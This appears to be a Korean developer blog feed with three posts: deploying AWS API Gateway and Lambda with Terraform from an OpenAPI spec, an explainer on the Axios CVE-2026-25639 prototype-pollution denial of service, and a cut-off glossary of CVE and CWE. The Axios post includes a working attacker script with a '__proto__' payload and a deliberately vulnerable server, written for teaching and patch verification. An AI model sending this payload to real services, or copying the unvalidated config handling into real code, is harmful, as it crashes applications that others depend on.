Junhyunny's Devlogs

OpenAPI 명세서 기반 AWS API 게이트웨이(gateway)와 람다(lambda) 배포

Wed, 11 Mar 2026 00:00:00 +0000

0. 들어가면서

이전 글에서 이야기한 것처럼 최근 합류한 팀은 OpenAPI 명세서를 단일 진실 공급원(single source of truth)으로 사용하고 있다. 클라이언트 애플리케이션과 인프라를 배포할 때 OpenAPI 명세 YAML 파일을 적극 활용하고 있다. 이번 글은 OpenAPI 명세서를 사용해서 AWS API 게이트웨이(gateway)와 람다(lambda) 함수를 배포하는 방법에 대해 정리했다.

1. OpenAPI specification

이전에 동일한 내용을 정리했지만, 다시 한번 정리한다. OpenAPI 사양(OpenAPI Specification, OAS)은 HTTP API를 정의하기 위한 표준화된 명세 언어(specification language)다. 주로 YAML이나 JSON 형식으로 작성되며, API의 수명 주기(Lifecycle) 전반에 걸쳐 정보를 일관되게 전달하는 역할을 한다. 주로 다음과 같은 특징을 갖는다.

언어 독립성 (Language Agnostic): OAS는 특정 프로그래밍 언어에 종속되지 않는다. 따라서 API 소비자는 서비스가 어떤 언어(Lisp, Haskell 등)로 구현되었는지 알 필요 없이, OAS 문서만으로 API의 기능과 사용법을 명확하게 이해할 수 있다.
표준화된 소통: API 제공자와 소비자(동료, 파트너사 등) 간의 지식 전달을 명확하고 효율적으로 만든다. 이는 API 경제에서 비즈니스를 수행하는 데 필수적이다.
단일 진실 공급원 (Single Version of the Truth): 설계 단계에서 생성된 OAS 문서는 개발, 테스트, 배포 등 이후 모든 단계에서 기준이 되어 관리 비용을 줄이고 일관성을 보장한다.

API 개발 라이프사이클(lifecycle)에서 다음과 같이 활용한다.

요구사항 및 설계 (Requirements & Design): 요구사항을 기술적으로 구체화하고 이해관계자와 빠르게 공유하는 데 사용된다. 설계 과정에서 버전 관리가 가능한 구체적인 산출물을 제공하여 개발 단계의 명확한 입력값이 된다.
개발 (Development): ‘API 우선(API-first)’ 접근 방식에서 OAS 문서를 먼저 작성한 뒤, 이를 통해 클라이언트, 서버 코드를 자동으로 생성하여 구현과 설계의 일치성을 높인다.
인프라 구성 (Infrastructure Configuration): API 게이트웨이나 보안 시스템 설정 시 OAS를 입력값으로 사용하여 경로 유효성 검사, 파라미터 검증 등을 버튼 클릭 한 번으로 자동화할 수 있다.
개발자 경험 제공 (Developer Experience): API 문서를 자동으로 생성하거나, 사용자가 API를 직접 테스트해 볼 수 있는 대화형 환경(‘Try it out’) 및 다양한 언어의 클라이언트 SDK를 제공하는 데 활용된다.
테스트 (Testing): 설계(OAS)와 실제 구현이 일치하는지 확인하는 계약 테스트(contract tests)나, 보안 취약점을 점검하는 보안 도구의 기준으로 사용되어 품질을 보증한다.

요약하자면, OpenAPI는 단순한 문서화 도구를 넘어 API의 설계, 구현, 운영, 테스트를 아우르는 전체 과정을 효율적으로 연결하고 자동화하는 핵심 표준이다. OpenAPI는 API의 ‘공용 설계도’를 잘 만들기 위한 규칙이라 생각하면 된다. 규칙을 따라 API 설계도를 잘 만들어두면 문서도 생기고, 코드도 생기고, 테스트도 쉬워진다.

2. Example

이제 본격적으로 예제 코드를 살펴보자. 전체 코드는 이 레포지토리에서 확인할 수 있다. 이 예제에선 테라폼(terraform)을 사용해 필요한 리소스들을 배포한다. AWS API 게이트웨이는 OpenAPI 명세서를 사용해 REST API 개발하는 것을 지원한다. x-amazon-apigateway-integration 객체를 사용하면 HTTP 엔드포인트를 특정 람다 함수로 연결하는 것이 가능하다.

다음과 같은 예제 명세서를 작성한다. 전체 코드가 아니라 일부분만 살펴본다. 아래 코드는 GET 요청의 /todos 엔드포인트를 위해 x-amazon-apigateway-integration 객체를 생성한 예제다.

type
- AWS 람다 함수와 통합 시 타입은 항상 aws_proxy다.
httpMethod
- 통합 요청에서 사용된 HTTP 메서드다.
- 람다 함수 호출의 경우 값은 POST여야 한다.
uri
- 백엔드의 엔드포인트 URI이다.
- aws 유형 통합의 경우 ARN(Amazon Resource Name)이 사용된다.
- 이번 예제에선 AWS 람다의 ARN을 사용한다.
- ${invoke_arn_get_todos} 변수는 테라폼에서 리소스를 생성할 때 외부에서 주입된다.
passthroughBehavior
- 매핑되지 않은 콘텐츠 형식의 요청 페이로드를 수정 없이 통합 요청을 통해 전달하는 방식을 지정한다.
- 지원되는 값은 when_no_templates, when_no_match 및 never가 있다.

openapi: 3.0.1
info:
  title: Todo API
  description: 할 일 목록을 관리하기 위한 간단한 연습용 API입니다.
  version: 1.0.0

servers:
  - url: https://api.example.com/v1
    description: 메인 프로덕션 서버

paths:
  /todos:
    get:
      summary: 모든 할 일 목록 조회
      # /todos 엔드포인트를 람다 함수로 연결하는 객체
      x-amazon-apigateway-integration:
        type: aws_proxy
        httpMethod: POST
        uri: "${invoke_arn_get_todos}"
        passthroughBehavior: when_no_match
      responses:
        '200':
          description: 성공적인 조회
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: '#/components/schemas/Todo'
...
components:
  schemas:
    Todo:
      type: object
      properties:
        id:
          type: integer
          example: 1
        title:
          type: string
          example: "OpenAPI 공부하기"
        completed:
          type: boolean
          example: false
        createdAt:
          type: string
          format: date-time
...

OpenAPI v2.0 및 OpenAPI v3.0 정의 파일을 지원한다. OpenAPI v3.1.0 명세서에 객체를 선언하는 경우 인텔리제이에서 Schema validation: Property is not allowed라는 경고문을 보여준다. 실제로 테라폼을 통해 배포(apply)하면 에러가 발생한다. 이 예제에서는 v3.0.1 명세서를 사용한다.

│ Error: creating API Gateway REST API (ix03opvzzj) specification: operation error API Gateway: PutRestApi, https response error StatusCode: 400, RequestID: 05072fdf-776f-4a29-afe0-c5189a42bebc, BadRequestException: Invalid OpenAPI input.

각 엔드포인트마다 x-amazon-apigateway-integration 객체를 만들었다면, 이제 본격적으로 테라폼 코드를 살펴보자. 테라폼은 환경 별로 코드를 재사용하기 위해 모듈(module)을 사용한다. 다음과 같은 디렉토리 구조를 갖는다.

.
├── env
│   ├── main.tf
│   ├── provider.tf
│   └── variables.tf
└── modules
    ├── apigw
    │   ├── main.tf
    │   └── variables.tf
    ├── dynamodb
    │   ├── main.tf
    │   ├── outputs.tf
    │   └── variables.tf
    ├── iam
    │   ├── main.tf
    │   ├── outputs.tf
    │   ├── policy
    │   │   └── dynamodb_policy.json
    │   └── variables.tf
    └── lambda
        ├── main.tf
        ├── outputs.tf
        └── variables.tf

필요한 모듈이 선언된 env/main.tf 파일을 먼저 살펴보자. 이번 예제를 위해서 다음과 같은 모듈들이 필요하다. 각 모듈들은 의존 관계가 있기 때문에 만들어지는 순서가 필요하다. 모듈 간 의존 관계는 depends_on 속성을 통해 연결한다. 각 모듈의 배포 결과물(output)은 다음 모듈의 변수(variables)로 들어간다.

dynamodb 모듈 - 데이터베이스
iam 모듈 - 롤(role)과 정책(policy) 관리
lambda 모듈 - 특정 엔드포인트에 대한 처리를 위한 람다 핸들러(handler)
api_gw 모듈 - 엔드포인트 경로에 따라 트래픽을 람다 핸들러로 전달하는 AWS API 게이트웨이

module "dynamodb" {
  source      = "../modules/dynamodb"
  environment = var.environment
}

module "iam" {
  source             = "../modules/iam"
  environment        = var.environment
  dynamodb_table_arn = module.dynamodb.table_arn
  depends_on         = [module.dynamodb]
}

module "lambda" {
  source           = "../modules/lambda"
  environment      = var.environment
  region           = var.region
  lambda_functions = var.lambda_functions
  lambda_roles     = module.iam.lambda_role
  depends_on       = [module.iam]
}

module "api_gw" {
  source             = "../modules/apigw"
  environment        = var.environment
  lambda_invoke_arns = module.lambda.invoke_arns
  depends_on         = [module.lambda]
}

dynamodb, iam 모듈에 대한 내용은 이번 글의 주제에서 벗어나기 때문에 lambda, api_gw 모듈을 중점적으로 살펴본다. lambda 모듈의 코드를 살펴보기 전에 람다 프로젝트의 디렉토리 구조를 먼저 살펴보자.

코드는 main/{handler-name}/app.ts 경로에 위치한다.
빌드 결과는 .aws-sam/build/{handler-name}/app.js 경로에 위치한다. 코드는 SAM CLI를 통해 빌드한다. SAM CLI를 통해 빌드하는 방법은 이 글을 참고하길 바란다.

.
├── .aws-sam
│   ├── build
│   │   ├── DeleteTodoFunction
│   │   │   ├── app.js
│   │   │   └── app.js.map
│   │   ├── GetTodoByIdFunction
│   │   │   ├── app.js
│   │   │   └── app.js.map
│   │   ├── GetTodosFunction
│   │   │   ├── app.js
│   │   │   └── app.js.map
│   │   ├── PostTodoFunction
│   │   │   ├── app.js
│   │   │   └── app.js.map
│   │   ├── PutTodoFunction
│   │   │   ├── app.js
│   │   │   └── app.js.map
│   │   └── template.yaml
├── .gitignore
├── .npmignore
├── biome.json
├── jest.config.ts
├── main
│   ├── common
│   │   └── dynamodb-client.ts
│   ├── delete-todo
│   │   └── app.ts
│   ├── get-todo-by-id
│   │   └── app.ts
│   ├── get-todos
│   │   └── app.ts
│   ├── post-todo
│   │   └── app.ts
│   └── put-todo
│       └── app.ts
├── package-lock.json
├── package.json
├── samconfig.toml
├── template.yaml
└── tsconfig.json

위 람다 함수의 결과물을 zip 파일로 만들고, 해당 zip 파일을 기준으로 람다 함수들을 생성한다.

locals 블록
- 외부에서 전달 받은 변수로 로컬 변수 lambda_function_keys 를 만든다.
- for_each 구문을 통해 여러 개의 람다 함수를 반복문을 통해 배포하기 위함이다.
- 위에서 살펴본 람다 함수의 빌드 디렉토리 이름 리스트가 외부 변수로 주입된다.
data archive_file.lambda 블록
- 람다 함수의 빌드 결과물을 갖고 zip 파일을 생성한다.
resource aws_lambda_function.functions 블록
- 람다 함수에 필요한 리소스를 정의한다.
- 타임아웃 시간, 메모리 사이즈, 롤, 환경변수, 동시 실행 한도 등을 설정한다.

locals {
  lambda_function_keys = { for fname in var.lambda_functions : fname => fname }
}

data "archive_file" "lambda" {
  for_each    = local.lambda_function_keys
  type        = "zip"
  source_file = "${path.module}/../../../lambda/.aws-sam/build/${each.key}/app.js"
  output_path = "${path.module}/dist/${each.key}.zip"
}

resource "aws_lambda_function" "functions" {
  for_each = local.lambda_function_keys

  function_name                  = "${var.environment}-${each.key}"
  runtime                        = "nodejs22.x"
  handler                        = "app.lambdaHandler"
  timeout                        = 60
  memory_size                    = 256
  role                           = lookup(var.lambda_roles, each.key, "")
  filename                       = data.archive_file.lambda[each.key].output_path
  source_code_hash               = data.archive_file.lambda[each.key].output_base64sha256
  reserved_concurrent_executions = 10

  environment {
    variables = {
      REGION     = var.region
      TABLE_NAME = "${var.environment}-todos-table"
    }
  }
}

위에서 생성한 람다 함수를 API 게이트웨이에서 사용할 수 있도록 다음과 같은 outputs.tf 파일을 정의한다.

output "invoke_arns" {
  description = "Lambda 함수별 invoke ARN 맵 (key: 함수명, value: invoke_arn)"
  value = {
    for k, fn in aws_lambda_function.functions : k => fn.invoke_arn
  }
}

람다 모듈에 관련된 주요 코드를 봤으니, 다음으로 API 게이트웨이 모듈 코드를 살펴본다. 필요한 리소스가 많으므로 코드를 작게 나눠서 살펴본다. 지금부터 살펴볼 코드는 모두 modules/apigw/main.tf 파일에 정의된 내용이다.

프로젝트에서 관리 중인 OpenAPI 명세 YAML 파일을 읽어 사용한다. 필요한 ARN 값들을 주입하기 위해 templatefile 함수를 사용한다. 명세 YAML 파일 내용은 openapi_spec 로컬 변수에 저장한다.

locals {
  openapi_spec_path = "${path.module}/../../../api/openapi-specification.yaml"

  openapi_spec = templatefile(local.openapi_spec_path, {
    invoke_arn_get_todos   = lookup(var.lambda_invoke_arns, "GetTodosFunction", "")
    invoke_arn_post_todo   = lookup(var.lambda_invoke_arns, "PostTodoFunction", "")
    invoke_arn_get_by_id   = lookup(var.lambda_invoke_arns, "GetTodoByIdFunction", "")
    invoke_arn_put_todo    = lookup(var.lambda_invoke_arns, "PutTodoFunction", "")
    invoke_arn_delete_todo = lookup(var.lambda_invoke_arns, "DeleteTodoFunction", "")
  })
}

AWS API 게이트웨이 REST API 리소스를 정의한다. 위에서 읽은 YAML 명세서 내용을 body 프로퍼티에 설정한다.

resource "aws_api_gateway_rest_api" "this" {
  name        = "${var.environment}-todo-api"
  description = "Todo API backed by Lambda"

  body = local.openapi_spec

  endpoint_configuration {
    types = ["REGIONAL"]
  }
}

API 게이트웨이에서 람다 핸들러를 호출할 수 있도록 접근 허가 권한을 설정한다. source_arn 프로퍼티를 통해 호출 권한 범위를 지정한다. 아래 예제는 모든 범위에 대한 접근 여부를 허용한 상태다. */*는 모든 스테이지(stage)에서 모든 메소드, 모든 경로에 대해 허용한다는 의미다.

resource "aws_lambda_permission" "api_gateway" {
  for_each      = var.lambda_invoke_arns
  statement_id  = "AllowAPIGatewayInvoke${each.key}"
  action        = "lambda:InvokeFunction"
  function_name = "${var.environment}-${each.key}"
  principal     = "apigateway.amazonaws.com"

  source_arn = "${aws_api_gateway_rest_api.this.execution_arn}/*/*"
}

aws_api_gateway_deployment 리소스는 REST API를 특정 스테이지에 배포하기 위해 사용한다. rest_api_id 프로퍼티에 배포 대상인 API 게이트웨이 리소스의 ID를 지정한다.

triggers 프로퍼티를 통해 재배포 조건을 명시한다. aws_api_gateway_rest_api 리소스의 body 프로퍼티 내용이 변경되면 게이트웨이를 재배포 하도록 정의한다. 즉, OpenAPI 명세 내용이 변경되면 게이트웨이를 재배포한다.

resource "aws_api_gateway_deployment" "this" {
  rest_api_id = aws_api_gateway_rest_api.this.id

  triggers = {
    redeployment = sha1(aws_api_gateway_rest_api.this.body)
  }

  lifecycle {
    create_before_destroy = true
  }
}

aws_api_gateway_stage 리소스는 위에서 정의한 aws_api_gateway_deployment 리소스를 통해 배포하기 위한 스테이지 정보를 정의한다.

rest_api_id 프로퍼티를 통해 위에서 정의한 REST API 게이트웨이 리소스를 매핑한다.
deployment_id 프로퍼티를 통해 위에서 정의한 게이트웨이 디플로이(deploy) 리소스를 매핑한다.
스테이지 이름을 지정하고 cloudwatch 로그 그룹 리소스를 연결한다.

resource "aws_api_gateway_stage" "this" {
  rest_api_id   = aws_api_gateway_rest_api.this.id
  deployment_id = aws_api_gateway_deployment.this.id
  stage_name    = var.environment

  xray_tracing_enabled = true

  access_log_settings {
    destination_arn = aws_cloudwatch_log_group.apigw.arn

    format = jsonencode({
      requestId               = "$context.requestId"
      sourceIp                = "$context.identity.sourceIp"
      requestTime             = "$context.requestTime"
      protocol                = "$context.protocol"
      httpMethod              = "$context.httpMethod"
      resourcePath            = "$context.resourcePath"
      routeKey                = "$context.routeKey"
      status                  = "$context.status"
      responseLength          = "$context.responseLength"
      integrationErrorMessage = "$context.integrationErrorMessage"
    })
  }
}

마지막으로 스테이지에서 사용할 cloudwatch 로그 그룹 리소스를 생성한다.

resource "aws_cloudwatch_log_group" "apigw" {
  name              = "/aws/apigateway/${var.environment}-todo-api"
  retention_in_days = 7
}

필요한 코드는 모두 살펴봤다. 이제 리소스를 배포해보자. terraform/env 디렉토리로 이동한다.

$ cd terraform/env

아래와 같은 명령어를 통해 테라폼 프로젝트를 초기화한다.

$ terraform init
Initializing the backend...
Initializing modules...
Initializing provider plugins...
- Reusing previous version of hashicorp/aws from the dependency lock file
- Reusing previous version of hashicorp/archive from the dependency lock file
- Using previously-installed hashicorp/aws v6.35.1
- Using previously-installed hashicorp/archive v2.7.1

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

테라폼 프로젝트에 정의된 리소스들을 배포한다.

$ terraform apply

...

Apply complete! Resources: 19 added, 0 changed, 0 destroyed.           

정상적으로 배포가 완료되면 다음과 같이 AWS 웹 콘솔에서 API 게이트웨이 배포 결과를 확인할 수 있다.

OpenAPI 명세 YAML 파일에 정의된 규칙에 맞게 API 엔드포인트가 생성된 것을 확인할 수 있다.

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-03-11-deploy-aws-api-gateway-with-openapi-spec

REFERENCE

[CVE-2026-25639] Axios 프로토타입 오염 취약점

Fri, 06 Mar 2026 00:00:00 +0000

1. CVE-2026-25639

CVE-2026-25639은 널리 사용되는 HTTP 클라이언트 라이브러리인 Axios에서 발생한 서비스 거부(DoS, Denial of Service) 취약점이다. 이 취약점은 프로토타입 오염과 연관되어 애플리케이션을 다운시킬 수 있는 치명적인 문제가 있다.

Axios 내부의 설정 병합을 담당하는 mergeConfig 함수에서 발생했다. mergeConfig 함수가 __proto__를 자체 속성으로 포함하고 있는 구성 객체를 처리할 때 내부적으로 타입 에러를 일으키며 애플리케이션이 충돌하게 된다.

CVSS 위험도 점수
- 7.5(HIGH)으로 평가
영향을 받는 버전
- 1.0.0 이상 ~ 1.13.5 미만 버전
- 0.30.3 미만 버전
패치된 버전
- v1.13.5
- v0.30.3 (0.x 버전을 사용 중인 많은 엔터프라이즈 프로젝트를 위해 백포트 형태로 보안 패치가 함께 배포)

기본 지표(base metrics)인 익스플로잇(exploit) 가능성은 다음과 같다.

AV:N (Attack Vector: Network)
- 공격자가 취약점이 존재하는 시스템에 물리적으로 접근하거나 로컬 환경에 있을 필요 없이, 인터넷이나 내부망 등 네트워크를 통해 원격으로 공격을 수행할 수 있다. 이 취약점의 경우, 공격자는 네트워크를 통해 악의적으로 조작된 JSON 페이로드(payload)를 서버나 애플리케이션으로 전송하면 된다.
AC:L (Attack Complexity: Low)
- 공격을 성공시키기 위해 복잡한 조건이나 우회 기법이 필요하지 않고, 언제든 일관되게 공격이 가능함을 의미한다. JSON.parse()를 거쳐 만들어진 __proto__ 키가 포함된 구성 객체를 mergeConfig 함수가 처리하도록 유도하기만 하면 된다.
PR:N (Privileges Required: None)
- 공격자가 대상 시스템이나 애플리케이션에 로그인하거나 특정 권한을 획득할 필요가 전혀 없음을 의미한다. 인증되지 않은 익명의 사용자도 취약점을 악용할 수 있다.
UI:N (User Interaction: None)
- 공격을 수행할 때 관리자나 일반 사용자가 악성 링크를 클릭하는 등의 피해자 상호작용이 전혀 필요하지 않다. 공격자가 단독으로 스크립트나 페이로드를 전송하여 취약점을 트리거할 수 있다.
S:U (Scope: Unchanged)
- 취약 버전의 Axios를 사용하는 애플리케이션 내에서만 영향이 머물며, 시스템의 다른 권한 영역이나 운영체제 등 외부 환경으로 피해가 확산되지 않는다.
C:N (Confidentiality Impact: None)
- 공격이 성공하더라도 애플리케이션의 내부 데이터나 개인정보, 비밀번호 등은 유출되지 않는다.
I:N (Integrity Impact: None)
- 공격으로 인해 서버 내의 데이터가 임의로 수정, 변경 또는 삭제되지 않는다.
A:H (Availability Impact: High)
- 대상 시스템이나 서비스의 가용성이 완전히 상실된다. mergeConfig 함수가 악의적인 객체를 처리하는 동안 타입 에러가 발생하면서 프로그램이 완전히 충돌한다. 이로 인해 완전한 서비스 거부(Complete Denial of Service) 상태가 된다.

해당 취약점과 연관된 취약점 유형(CWE, Common Weakness Enumeration)은 CWE-754: 예외적이거나 비정상적인 조건에 대한 부적절한 검사(Improper Check for Unusual or Exceptional Conditions)다.

소프트웨어가 일상적인 운영 중에는 자주 발생하지 않을 것으로 예상되는 비정상적이거나 예외적인 조건을 아예 검사하지 않거나 잘못 검사할 때 발생하는 취약점이다.
mergeConfig 함수는 정상적인 HTTP 설정 객체를 병합하도록 설계되어 있었다. 공격자는 JSON.parse() 함수를 통해 __proto__ 키를 자체 속성으로 강제 삽입한 악의적인 설정 객체를 전달할 수 있다. 이는 “비정상적이고 예외적인 조건”으로 mergeConfig 함수는 이에 대한 적절한 예외 처리나 검증 절차를 가지고 있지 않았다.

2. Cause of vulnerability

이 취약점을 이용하면 자바스크립트 프로토타입 객체를 참조하기 위한 __proto__ 프로퍼티를 자체 속성(own property)으로 변경해서 문제를 유발한다. 간단히 예제를 살펴보자.

const safe = {};
console.log(safe.__proto__);
console.log(Object.keys(safe));

위 코드를 실행하면 다음과 같은 로그를 볼 수 있다.

리터럴 객체인 safe 객체의 프로토타입 객체를 로그에서 확인할 수 있다.
Object.keys 함수를 통해 safe 객체의 자체 속성 키들을 확인해보면 빈 배열이다.

Object { … }
Array []

__proto__라는 프로퍼티는 객체의 자체 속성이 아니기 때문에 Object.keys 함수로 접근할 수 없다. 하지만 해당 프로퍼티를 통해 접근할 수 있는 프로토타입 객체는 실제로 존재한다. 문제는 리터럴 객체를 만들 때 다음과 같이 JSON.parse 함수를 통해 객체를 만들면 __proto__ 프로퍼티를 자체 속성으로 취급되도록 만들 수 있다. 이를 통해 프로퍼티에 Object.keys 함수로 접근 가능해진다.

const unsafe = JSON.parse('{"__proto__": {"x": 1}}');
console.log(unsafe.__proto__);
console.log(Object.keys(unsafe))

위 코드를 실행하면 다음과 같은 로그를 볼 수 있다.

__proto__ 키워드를 통해 접근한 객체가 프로토타입 객체가 아닌 리터럴 객체다.
Object.keys 함수를 통해 unsafe 객체의 자체 속성 키들에 __proto__ 값이 포함된다.

Object { x: 1 }
Array [ "__proto__" ]

이 취약점은 이런 빈틈을 이용한다. 이제 Axios의 문제가 발생한 코드를 살펴보자. config2 객체는 외부에서 전달된 설정 객체다. 해당 객체에 __proto__라는 자체 속성이 존재하면 문제가 발생한다.

config2 객체의 자체 속성 키를 사용해 for 루프를 실행한다. config2 객체에는 __proto__라는 자체 속성이 포함되어 있다.
mergeMap 리터럴 객체로부터 __proto__ 키에 해당하는 값을 꺼낸다. 자체 속성에 정의되어 있지 않지만, 프로토타입 객체를 참조하기 위한 프로퍼티가 존재하므로 프로토타입 객체가 반환된다.
반환된 프로토타입 객체는 함수가 아니기 때문에 호출할 수 없다. 타입 에러가 발생한다.

  var mergeMap = {
    'url': valueFromConfig2,
    'method': valueFromConfig2,
    'data': valueFromConfig2,
    'baseURL': defaultToConfig2,
    'transformRequest': defaultToConfig2,
    'transformResponse': defaultToConfig2,
    'paramsSerializer': defaultToConfig2,
    'timeout': defaultToConfig2,
    'timeoutMessage': defaultToConfig2,
    'withCredentials': defaultToConfig2,
    'withXSRFToken': defaultToConfig2,
    'adapter': defaultToConfig2,
    'responseType': defaultToConfig2,
    'xsrfCookieName': defaultToConfig2,
    'xsrfHeaderName': defaultToConfig2,
    'onUploadProgress': defaultToConfig2,
    'onDownloadProgress': defaultToConfig2,
    'decompress': defaultToConfig2,
    'maxContentLength': defaultToConfig2,
    'maxBodyLength': defaultToConfig2,
    'beforeRedirect': defaultToConfig2,
    'transport': defaultToConfig2,
    'httpAgent': defaultToConfig2,
    'httpsAgent': defaultToConfig2,
    'cancelToken': defaultToConfig2,
    'socketPath': defaultToConfig2,
    'responseEncoding': defaultToConfig2,
    'validateStatus': mergeDirectKeys
  };

  // [1] 객체의 자체 속성 키에 접근
  utils.forEach(Object.keys(config1).concat(Object.keys(config2)), function computeConfigValue(prop) {
    // [2] 키를 통해 객체의 특정 값을 획득
    var merge = mergeMap[prop] || mergeDeepProperties;
    // [3] 해당 값을 함수처럼 호출 - 문제 발생 지점
    var configValue = merge(prop);
    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
  });

3. Exploit PoC (Proof of Concept)

공격자는 어떻게 애플리케이션을 공격할 수 있을까? 외부로부터 전달받아 신뢰할 수 없는 값을 설정 객체로 그대로 만들어 사용했을 때 문제가 발생한다. 간단한 예제 코드를 통해 개념을 증명해본다. 이 예제의 전체 코드는 해당 링크에서 확인할 수 있다.

먼저 공격자 코드를 살펴보자.

악의적인 요청 메시지를 만든다. 해당 메시지는 JSON 형식의 문자열이며 __proto__라는 자체 속성이 포함되어 있다. 값은 적당하게 아무 객체나 만들어준다.
악의적인 요청 메시지를 서버로 전달한다.

const http = require("node:http");

// [1] __proto__ 자체 소유 속성이 리터럴 객체 문자열
const MALICIOUS_PAYLOAD = '{"__proto__": {"polluted": true}}';

async function runAttack() {
  console.log("=".repeat(60));
  console.log("CVE-2026-25639 DoS 공격 시뮬레이션");
  console.log("=".repeat(60));
  await new Promise((resolve) => {
    // [2] 악의적인 메시지를 서버로 전송
    const req = http.request(
      {
        hostname: "localhost",
        port: 3000,
        path: "/fetch",
        method: "POST",
        headers: {
          "Content-Type": "application/json",
          "Content-Length": Buffer.byteLength(MALICIOUS_PAYLOAD),
        },
      },
      (res) => {
        let d = "";
        res.on("data", (c) => (d += c));
        res.on("end", () => {
          console.log(`  응답: ${res.statusCode}`);
          resolve();
        });
      }
    );
    req.on("error", (e) => {
      console.log(`  오류: ${e.message}`);
      resolve();
    });
    req.write(MALICIOUS_PAYLOAD);
    req.end();
  });
}

runAttack();

다음 서버 쪽 코드를 살펴보자. 모든 코드가 아니라 요청을 처리하는 코드만 집중해서 살펴본다.

클라이언트에서 전달한 요청을 JSON.parse 함수를 통해 설정 객체로 변환한다.
해당 설정 객체를 사용해 Axios 인스턴스를 생성한다. 이 지점에서 에러가 발생한다.

const server = http.createServer(async (req, res) => {
  let body = "";

  req.on("data", (chunk) => (body += chunk));

  req.on("end", async () => {
    let userConfig;
    try {
      // [1] 클라이언트에서 전달한 요청을 객체로 변환 
      userConfig = JSON.parse(body);
    } catch {
      res.writeHead(400);
      res.end("invalid JSON format");
      return;
    }

    console.log("axios create with configuration: ", userConfig);

    // [2] ERROR point
    const instance = axios.create(userConfig);

    const response = await instance.get("https://httpbin.org/get");

    res.writeHead(200, { "Content-Type": "application/json" });
    res.end(JSON.stringify({ status: "ok", data: response.data }));
  });
});

이제 서버를 실행해보자. 다음 명령어를 실행한다.

취약점이 있는 1.13.4 버전을 사용한다.

$ npm install axios@1.13.4 --no-save && node vulnerable-server.js

위에서 설명한 공격자 스크립트를 실행한다.

$ node attacker.js

공격자 코드를 실행하면 서버에서 다음과 같은 에러를 만나게 된다. merge 객체는 함수가 아니라는 타입 에러가 발생한다. 원인은 앞서 말했던 것처럼 __proto__ 키에 의해 프로토타입 객체를 참조하게 되면서 이를 함수처럼 호출해서 문제가 발생한다. Node.js(노드JS) 같은 싱글 스레드 기반의 자바스크립트 런타임 환경의 서버는 처리되지 않은 예외(Uncaught Exception)가 발생하면 프로세스 자체가 죽어버린다. 즉, 적절한 처리를 하지 않는 경우 서버가 다운된다.

스택 트레이스를 보면 mergeConfig 함수 내부 Object.forEach 콜백 함수인 computeConfigValue 함수에서 타입 에러가 발생한다.

axios create with configuration:  { ['__proto__']: { polluted: true } }
/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:3733
    const configValue = merge(config1[prop], config2[prop], prop);
                        ^
TypeError: merge is not a function
    at computeConfigValue (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:3733:25)
    at Object.forEach (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:319:10)
    at mergeConfig (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:3731:11)
    at Function.create (/Users/junhyunny/Desktop/action-in-blog/node_modules/axios/dist/node/axios.cjs:5175:27)
    at IncomingMessage.<anonymous> (/Users/junhyunny/Desktop/action-in-blog/vulnerable-server.js:23:28)
    at IncomingMessage.emit (node:events:507:28)
    at endReadableNT (node:internal/streams/readable:1696:12)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21)

Node.js v23.11.0

보안 패치가 된 버전을 사용하면 동일한 공격에서 서버가 다운되지 않는다.

$ npm install axios@1.13.5 --no-save && node vulnerable-server.js

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-03-06-cve-2026-25639

REFERENCE

보안 취약점의 식별과 평가 기준

Sat, 21 Feb 2026 00:00:00 +0000

0. 들어가면서

SW 보안 공부를 올해 목표로 삼았다. 모르는 개념들이 많아서 공부를 시작하기 전 용어에 대해 정리할 필요를 느꼈다. 이번 글을 통해 간단하게 정리해봤다.

1. CVE (Common Vulnerabilities and Exposures)

CVE(Common Vulnerabilities and Exposures)는 소프트웨어 보안 결함에 대한 표준화된 식별자 목록이다. 1999년 9월에 처음 공개되었으며, 미국의 MITRE라는 회사가 미국 국토안보부(DHS)의 지원을 받아 CVE 시스템을 개발했다. CVE 시스템의 주된 목적은 서로 다른 보안 데이터베이스와 도구 간에 데이터를 쉽게 공유하고 취약점을 명확히 식별하기 위함이다. CVE 시스템에는 리스크, 영향도, 버그 수정과 관련된 기술적인 데이터나 정보가 없다. 보안 취약점에 관련된 자세한 정보는 다른 데이터베이스 사이트에서 확인할 수 있다.

각 보안 취약점에 고유한 식별 번호(CVE ID)를 부여하여, 사용자가 특정 취약점을 정확히 인식할 수 있도록 한다. 보안 도구들이 CVE ID를 사용함으로써 서로 정보를 교환하고 조직의 보안 상태를 점검하는 기준을 제공한다. CVE ID는 CVE-YYYY-NNNN 형식을 따른다.

접두사: 항상 CVE-로 시작한다.
연도(YYYY): 해당 취약점이 할당되거나 공개된 연도를 나타낸다.
일련번호(NNNN): 최소 4자리 숫자로 구성된다. 과거에는 4자리로 제한되었으나, 취약점 수가 급증함에 따라 2014년 문법 변경을 통해 필요시 5자리, 6자리 이상으로 확장될 수 있게 되었다.

CVE 항목에는 ID 외에도 취약점에 대한 간단한 설명(Description)과 관련 보고서나 권고문으로 연결되는 참조(References)가 포함된다. 아직 세부 정보가 공개되지 않은 상태에서 번호만 미리 할당된 경우 “RESERVED” 상태로 표시된다.

2. CWE (Common Weakness Enumeration)

CWE(Common Weakness Enumeration)는 소프트웨어와 하드웨어에서 발생하는 ‘보안 취약점의 근본적인 원인(유형)들을 모아 놓은 사전’이다. 미국 국토안보부(DHS)의 지원을 받아 MITRE(마이터) 코퍼레이션에서 관리하고 있다. CWE는 아주 포괄적인 개념부터 아주 구체적인 코드 레벨의 실수까지 트리(Tree) 구조로 분류되어 있다. 대표적인 CWE는 다음과 같다.

CWE-79 - 부적절한 입력값 무효화 (Cross-Site Scripting, XSS)
CWE-89 - SQL 명령어에 사용되는 특수 요소의 부적절한 무효화 (SQL Injection)
